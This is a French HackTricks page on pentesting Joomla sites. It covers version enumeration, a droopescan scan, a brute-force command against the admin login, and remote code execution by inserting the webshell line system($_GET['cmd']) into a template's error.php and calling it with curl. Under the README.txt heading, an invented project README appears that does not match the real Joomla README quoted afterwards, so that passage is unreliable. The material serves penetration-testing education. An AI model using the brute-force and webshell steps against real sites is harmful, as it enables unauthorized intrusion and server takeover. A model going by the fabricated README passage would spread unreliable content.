mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
130 lines
6.8 KiB
Markdown
130 lines
6.8 KiB
Markdown
# Joomla
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
### Statistiques de Joomla
|
|
|
|
Joomla collecte des [statistiques d'utilisation](https://developer.joomla.org/about/stats.html) anonymes telles que la répartition des versions de Joomla, PHP et de la base de données et des systèmes d'exploitation de serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur [API](https://developer.joomla.org/about/stats/api.html) publique.
|
|
```bash
|
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|
|
|
{
|
|
"data": {
|
|
"cms_version": {
|
|
"3.0": 0,
|
|
"3.1": 0,
|
|
"3.10": 6.33,
|
|
"3.2": 0.01,
|
|
"3.3": 0.02,
|
|
"3.4": 0.05,
|
|
"3.5": 12.24,
|
|
"3.6": 22.85,
|
|
"3.7": 7.99,
|
|
"3.8": 17.72,
|
|
"3.9": 27.24,
|
|
"4.0": 3.21,
|
|
"4.1": 1.53,
|
|
"4.2": 0.82,
|
|
"4.3": 0,
|
|
"5.0": 0
|
|
},
|
|
"total": 2951032
|
|
}
|
|
}
|
|
```
|
|
## Énumération
|
|
|
|
### Découverte/Recherche d'informations
|
|
|
|
* Vérifiez les **méta**
|
|
```bash
|
|
curl https://www.joomla.org/ | grep Joomla | grep generator
|
|
|
|
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
|
```
|
|
* robots.txt
|
|
|
|
Le fichier robots.txt est un fichier texte qui indique aux robots d'exploration des moteurs de recherche les pages ou sections du site web qu'ils ne doivent pas explorer ou indexer. Il est généralement situé à la racine du site web et peut contenir des instructions pour tous les robots ou pour des robots spécifiques. Les informations contenues dans ce fichier peuvent être utiles pour les attaquants car elles peuvent révéler des sections du site web qui ne sont pas destinées au public ou des informations sensibles.
|
|
```
|
|
# If the Joomla site is installed within a folder
|
|
# eg www.example.com/joomla/ then the robots.txt file
|
|
# MUST be moved to the site root
|
|
# eg www.example.com/robots.txt
|
|
# AND the joomla folder name MUST be prefixed to all of the
|
|
# paths.
|
|
[...]
|
|
```
|
|
* README.txt
|
|
|
|
Ce fichier contient des informations importantes sur le projet. Veuillez le lire attentivement avant de continuer.
|
|
|
|
## Introduction
|
|
|
|
Ce projet est une application web basée sur Joomla. Joomla est un système de gestion de contenu (CMS) open source populaire qui permet de créer des sites web dynamiques et puissants.
|
|
|
|
## Objectif
|
|
|
|
L'objectif de ce projet est de tester la sécurité de l'application Joomla en utilisant des techniques de piratage éthique. Nous allons explorer les vulnérabilités courantes et les failles de sécurité dans Joomla et proposer des solutions pour les corriger.
|
|
|
|
## Installation
|
|
|
|
Pour installer l'application Joomla, suivez les instructions fournies dans le fichier INSTALL.txt.
|
|
|
|
## Utilisation
|
|
|
|
Une fois l'application installée, vous pouvez accéder à l'interface utilisateur en ouvrant un navigateur web et en entrant l'URL de l'application. Vous pouvez ensuite vous connecter en utilisant les identifiants d'administrateur fournis lors de l'installation.
|
|
|
|
## Contribution
|
|
|
|
Si vous souhaitez contribuer à ce projet, veuillez consulter le fichier CONTRIBUTING.md pour obtenir des instructions sur la façon de soumettre des modifications.
|
|
|
|
## Licence
|
|
|
|
Ce projet est sous licence MIT. Veuillez consulter le fichier LICENSE.txt pour plus d'informations.
|
|
```
|
|
1- What is this?
|
|
* This is a Joomla! installation/upgrade package to version 3.x
|
|
* Joomla! Official site: https://www.joomla.org
|
|
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
|
|
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
|
```
|
|
### Version
|
|
|
|
* Dans **/administrator/manifests/files/joomla.xml**, vous pouvez voir la version.
|
|
* Dans **/language/en-GB/en-GB.xml**, vous pouvez obtenir la version de Joomla.
|
|
* Dans **plugins/system/cache/cache.xml**, vous pouvez voir une version approximative.
|
|
|
|
### Automatique
|
|
```bash
|
|
droopescan scan joomla --url http://joomla-site.local/
|
|
```
|
|
Dans la section [**80,443 - Méthodologie de test d'intrusion Web**](./#cms-scanners), il y a des scanners CMS qui peuvent scanner Joomla.
|
|
|
|
### Brute-Force
|
|
|
|
Vous pouvez utiliser ce [script](https://github.com/ajnik/joomla-bruteforce) pour tenter une attaque de force brute sur la connexion.
|
|
```shell-session
|
|
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
|
|
|
admin:admin
|
|
```
|
|
## RCE
|
|
|
|
Si vous avez réussi à obtenir les **identifiants d'administrateur**, vous pouvez effectuer une **RCE à l'intérieur** en ajoutant un extrait de **code PHP** pour obtenir une **RCE**. Nous pouvons le faire en **personnalisant** un **modèle**.
|
|
|
|
1. **Cliquez** sur **`Templates`** en bas à gauche sous `Configuration` pour afficher le menu des modèles.
|
|
2. **Cliquez** sur un nom de **modèle**. Choisissons **`protostar`** sous l'en-tête de colonne `Template`. Cela nous amènera à la page **`Templates: Customise`**.
|
|
3. Enfin, vous pouvez cliquer sur une page pour afficher la **source de la page**. Choisissons la page **`error.php`**. Nous ajouterons une **ligne de code PHP pour obtenir une exécution de code** comme suit :
|
|
1. **`system($_GET['cmd']);`**
|
|
4. **Enregistrer et fermer**
|
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id`
|